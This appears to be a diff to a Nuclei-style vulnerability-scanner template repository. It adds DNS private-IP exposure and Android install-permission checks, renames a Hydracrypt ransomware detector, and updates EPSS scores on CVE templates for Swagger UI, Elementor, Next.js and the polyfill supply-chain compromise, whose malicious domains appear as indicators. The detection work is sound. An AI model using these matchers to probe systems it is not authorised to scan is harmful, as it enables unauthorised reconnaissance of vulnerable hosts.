+    - https://tools.ietf.org/html/rfc1918
+    - https://tools.ietf.org/html/rfc6598
+    - https://cwe.mitre.org/data/definitions/200.html
+  classification:
+    cwe-id: CWE-200
+  metadata:
+    max-request: 1
+  tags: dns,exposure,misconfig,recon
+
+dns:
+  - name: "{{FQDN}}"
+    type: A
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        name: a-record-present
+        part: answer
+        regex:
+          - "IN\tA\t(.+)$"
+
+      - type: regex
+        name: rfc1918-or-loopback
+        part: answer
+        regex:
+          - "IN\tA\t(10|127|192\\.168|172\\.(1[6-9]|2[0-9]|3[01]))\\.[0-9]{1,3}\\.[0-9]{1,3}"
+
+    extractors:
+      - type: regex
+        group: 1
+        part: answer
+        regex:
+          - "IN\tA\t((?:10|127|192\\.168|172\\.(?:1[6-9]|2[0-9]|3[01]))\\.[0-9.]+)"
+# digest: 490a00463044022056f0442a5058beaa3436c221d2c3ce122ce78dcf5a164d3e0ed57063e69a91e5022018f59b4e0d6da5020e65151623fd67b9d4270166174bc820cf0be567750e4a4b:922c64590222798bb761d5b6d8e72950
@@ -21,6 +21,7 @@ dns:
        name: "Office 365"
        words:
          - "mail.protection.outlook.com"
+          - "mx.microsoft"

      - type: word
        name: "Google Apps"
@@ -116,4 +117,4 @@ dns:
        name: "Rackspace Email"
        words:
          - "emailsrvr.com"
-# digest: 4a0a00473045022100ae0a84ce7dc6f84e6af73f23f9b5272a459dc4bf88e0338c0fc05ec2b7453e0f022014974e1946fde27ea1124923b5c6acee7df3784c84f6438ca26356c33a635f62:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402207f77075fdb2be2ac28a3217c8f2b522439c0eb2ddcbc800de7df163df61b59fc0220621eeebb779b4171af76f274e5542c523ecd160832398413f25fedd5a12d4885:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,22 @@
+id: android-request-install-packages-permission
+
+info:
+  name: Android Dangerous Permission - REQUEST_INSTALL_PACKAGES
+  author: Th3l0newolf
+  severity: medium
+  description: |
+    The Android application requests the REQUEST_INSTALL_PACKAGES permission, which allows the app to request installation of packages from unknown sources. This permission may increase the risk of unauthorized APK installation or abuse.
+  reference:
+    - https://developer.android.com/reference/android/Manifest.permission#REQUEST_INSTALL_PACKAGES
+  tags: file,android,permission,manifest
+
+file:
+  - extensions:
+      - xml
+
+    matchers:
+      - type: regex
+        part: body
+        regex:
+          - '<uses-permission[^>]*\w+:name\s*=\s*["\x27]android\.permission\.REQUEST_INSTALL_PACKAGES["\x27][^>]*/?\s*>'
+# digest: 490a00463044022060838b75ff5df1b8dffcf06e351ce617ef02c9093fb5dcef0e6ed798c276d64102200c54bdc230c2f4293629e0268f7366ca8d82ce2ddf87401c53e7c96239e1e404:922c64590222798bb761d5b6d8e72950
@@ -22,4 +22,4 @@ file:
          - 'InvalidOperationException'
          - 'UnauthorizedAccessException'
          - 'NotFound'
-# digest: 490a0046304402201e56e1d334ce58716470be82a16dac40ab1c4ef1014b5e9ae47672838c84a89c02206fc7f83c85028d1d2f13b85625b1795ea9d88dfa019ba86f46a830b4521c1f3b:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502204246f5415831b1c65915c9af21d79c1c857b72dc92a22dcd1374f7147341752e0221008959999f9458e23030f8b960dee4b4fe442711df974c0012750fd499f0859e01:922c64590222798bb761d5b6d8e72950
@@ -30,4 +30,4 @@ file:
          - 'BadRequestError'
          - 'MongoError'
          - 'SequelizeDatabaseError'
-# digest: 4a0a0047304502205d0df0a33cf6f5291a53333efd3d0fbb4df71593724e5efb37e331abb943d63f022100f9b3b2cc93a3fe215445db13e785b6195235ed42bda82a23ba904c1d52c460ab:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100e58d82d3a2a7d4f15d580a1051f898a436347b8d5943a4e2220cfa34adaf525a0221008d6339c36adc7dee3d69b48227bb10bbb85071f4dd0538557d2745518944919f:922c64590222798bb761d5b6d8e72950
@@ -1,4 +1,4 @@
-id: ransomware_windows_hydracrypt
+id: hydracrypt-malware

 info:
  name: Hydracrypt Malware - Detect
@@ -20,4 +20,4 @@ file:
          - "&Start Recording"
          - "7About record"
        condition: and
-# digest: 4b0a00483046022100bdc7877fd7559b0c2a432fe80d5dc8d7c0f616c0031a17c6b664d2dad9e67cdf0221008b2ead0c67ffa0aaf0703bf70499b85535a639b2767de767fa139612d249cf66:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022036a45fc36b8d82306765a2fabdf2951172e5cbce02267c0cd95c8e75908cb2b1022100b86b003c13bbea53ca358829d50a4884b47eebb1e9b69126b99e491670ac6f49:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 4.3
    cve-id: CVE-2018-25031
    cwe-id: CWE-20
-    epss-score: 0.83676
-    epss-percentile: 0.99264
+    epss-score: 0.42326
+    epss-percentile: 0.98531
    cpe: cpe:2.3:a:smartbear:swagger_ui:*:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -56,4 +56,4 @@ headless:
        words:
          - "swagger"
        case-insensitive: true
-# digest: 4b0a00483046022100cd4c279945f95131c3126da67af0b9e3b15fe8fb7fa1cdcc592fb0e6e9ee2b9902210092bd40ce6acd7b2402ea51daf1b10be084dbe34cd2bd3a02d68ed78b37c32863:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210094b32ed7df72877ae337883d352f07b1d97b6e472246fdee73b51d3dad2a77fd022100f5ffa3da6a71b8233b6d2b18fcbe8cdf5a13c021f075b1d280932e88157066d9:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 6.1
    cve-id: CVE-2022-29455
    cwe-id: CWE-79
-    epss-score: 0.48046
-    epss-percentile: 0.97641
+    epss-score: 0.2318
+    epss-percentile: 0.97494
    cpe: cpe:2.3:a:elementor:website_builder:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
@@ -52,4 +52,4 @@ headless:
        words:
          - "elementor"
        case-insensitive: true
-# digest: 4b0a00483046022100fb151e96fc485591a74e9f757ed5e74cfb01f37564de71a1683a075f5a690d24022100d2f9386b02cce60c229164188f19e3c6efb554e9bfca2ab228aa41d9daf906f9:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100ef1d84d54435992ba893c6cf6ef53d49b20b410599e6ef1587a26d20db15c32e02204baa2f559c05238fa3cc39adfec07d29c5b0000342c3f2371b2dfb669122f517:922c64590222798bb761d5b6d8e72950
@@ -18,8 +18,8 @@ info:
    cvss-score: 7.2
    cve-id: CVE-2024-29882
    cwe-id: CWE-79
-    epss-score: 0.07702
-    epss-percentile: 0.91725
+    epss-score: 0.01086
+    epss-percentile: 0.61251
  metadata:
    verified: true
    max-request: 1
@@ -50,4 +50,4 @@ headless:
          - "ConnectSRS</a>"
        condition: or
        case-insensitive: true
-# digest: 490a0046304402200d80f4d28937dc9546fe3b9af1d41bb73499189538f10c4916f057f0136378b6022037ee985160191a1c3781a5a3b2d22d92c1566521d1a790ce1e14786800535d8c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b7f15d97b25aec5c8c228d2256e65eb5bb43b40f62069dae1330e78355883edd02204620cc8899a1c2c003ad265460f4daf6d6a52a3ba1ac83a42cb2a475f55bc0b1:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:L
    cvss-score: 7.2
    cve-id: CVE-2024-38526
-    epss-score: 0.82064
-    epss-percentile: 0.99178
+    epss-score: 0.03832
+    epss-percentile: 0.88834
  tags: cve,cve2024,supply-chain,polyfill,vkev,vuln
 headless:
  - steps:
@@ -60,4 +60,4 @@ headless:
          - "union.macoms.la"
          - "newcrbpc.com"
        part: urls
-# digest: 4b0a00483046022100dcb02ab764ce577190705f4c678ca044c19600dbc671c93d03421c940bd1a305022100d6dd8b6abc91b4d18b5456f1636f94ec6019ccb2c964427b771dac4750a6fe85:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200ba3aa5180fecb970b1cdee0a358dc0a8dfb5d596a1f2a5ca7c45b8366a130e7022100f5fe9fc79bda2d1c60e748fde0154c1214246adfa67575edbde1ed065920d151:922c64590222798bb761d5b6d8e72950
@@ -15,8 +15,8 @@ info:
    - https://patchstack.com/articles/reflected-xss-patched-in-essential-addons-for-elementor-affecting-2-million-sites/
    - https://github.com/Sachinart/essential-addons-for-elementor-xss-poc/blob/main/poc.py
  classification:
-    epss-score: 0.02409
-    epss-percentile: 0.84761
+    epss-score: 0.01183
+    epss-percentile: 0.64012
  metadata:
    verified: true
    max-request: 1
@@ -46,4 +46,4 @@ headless:
        words:
          - "{{random_int}}"
        case-insensitive: true
-# digest: 4a0a0047304502202c19b8aea24e2fde9c757956b393c30913f072e99f7bb16654dad50c67677d71022100a7e94081e13a426012512cf92bbdb663dcc595617c5d3da3b3977ad2d7edcc90:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100eabc6bf2008ea46999428fac0408f3342d02c0c05bc2db50859e058b6bc3d46002201154058b890b5c8e91d84da8ff9a2e6cd5fd618354973d8f03bf73bcc1c5276a:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-score: 4.4
    cve-id: CVE-2025-25062
    cwe-id: CWE-79
-    epss-score: 0.42843
-    epss-percentile: 0.97383
+    epss-score: 0.01659
+    epss-percentile: 0.73818
    cpe: cpe:2.3:a:backdropcms:backdrop:*:*:*:*:*:*:*:*
  metadata:
    max-request: 7
@@ -190,4 +190,4 @@ headless:
        dsl:
          - reflected_text_xss_type
          - reflected_text_xss_message
-# digest: 4a0a0047304502205c266e7329235a27d5a81230b137450c13985f433afb1c80d6d03a46ca2a5ffe022100ea30e9dd4183e3633064c366fd81bce59bc3795270ca2d39b0ed48e901e7e613:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022077cbe8e6069bb6b3d88e802b33dd0d2808a26b4437e3764fc1af3f9f23536e0202200e2b1f4c8af23c731841b155e72499b937c0003c6534a460e0098e06bb6b45c7:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 9.1
    cve-id: CVE-2025-29927
    cwe-id: CWE-285
-    epss-score: 0.92896
-    epss-percentile: 0.99761
+    epss-score: 0.99621
+    epss-percentile: 0.99946
  metadata:
    vendor: vercel
    product: Next.js
@@ -59,4 +59,4 @@ headless:
          - "compare_versions(nextjs_version, '> 14.0.0', '< 14.2.25')"
          - "compare_versions(nextjs_version, '> 15.0.0', '< 15.2.3')"
        condition: or
-# digest: 4b0a00483046022100d4ff56db5cde8352c7d9ebfa5eab90335fa8b7d91e3136a2a3c0b208e0929872022100fef34df9a349b0f7dabac4b222e05885a691716faad481a62d10eb6d52cbd8f0:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502201d9f64ea6fe54975c8136ae2281e8a2d123b84a99d58c8926e4ac2ad8ceb12b7022100e4bed2873689aa7157e2595a30e541a7517173b57dfbd503479802c0b13aa9c2:922c64590222798bb761d5b6d8e72950
@@ -18,8 +18,8 @@ info:
    cvss-score: 6.1
    cve-id: CVE-2025-8191
    cwe-id: CWE-79
-    epss-score: 0.01065
-    epss-percentile: 0.77292
+    epss-score: 0.01646
+    epss-percentile: 0.73623
    cpe: cpe:2.3:a:smartbear:swagger_ui:*:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -69,4 +69,4 @@ headless:
        words:
          - "swagger"
        case-insensitive: true
-# digest: 490a00463044022053f23cf06702cd57d9e565606140e2f965c9f2c7a4a7fe938fb9b45bdd3b61ad022011cc5d758800f04b7ab36f0aea672bfa4f64474ec82351de6e33d0447af4aa71:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022014e16d27f81c960d8980a50cddf168d71f59e36fe2efbbe844ba0d1ae201c56f0220370dac0ec4c85dec80fae08f727bbe4f69200dfde8d5f629ca3c9e674158225b:922c64590222798bb761d5b6d8e72950
@@ -18,8 +18,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2000-0114
-    epss-score: 0.05458
-    epss-percentile: 0.89973
+    epss-score: 0.47595
+    epss-percentile: 0.98701
    cpe: cpe:2.3:a:microsoft:internet_information_server:3.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -62,4 +62,4 @@ http:
        group: 1
        regex:
          - 'version:([0-9.]+)'
-# digest: 4b0a00483046022100cde35262280bbb4b0eac7b965e1821eb7d81dfde80f7d503fd8630189821a1fe022100fdbeef2e93736521573780a2dda4787a74d01486d08f38fa9995254906959e8d:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c110c8b0ac821b798a2c4328b1870d54b7f36b7d4c5e80785dff9abe02064ec7022100e22d0023b29dd937c29aac191672c42dbb8ab7a0d4ab1bba6b33746f72bd66f3:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:N
    cvss-score: 6.4
    cve-id: CVE-2000-0760
-    epss-score: 0.43444
-    epss-percentile: 0.97416
+    epss-score: 0.62496
+    epss-percentile: 0.99084
    cpe: cpe:2.3:a:apache:tomcat:3.0:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -55,4 +55,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022100a92ce29b384ca0de4ca3f7658a38818f2352bc828a397ff7fb63df3d19b4315c0220059e6c4de8c5989ec49961b164fd302c5b6f8218dc34925acd0ef65363ae2d1e:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210095b1c0370925cd7dfe3ef71b41cd77061ce29b6c318ea36739fd99dedcb56d6c02210090a6ef73695850017875ec251f12b95e7662095f9ce439e60fab575c7d89103a:922c64590222798bb761d5b6d8e72950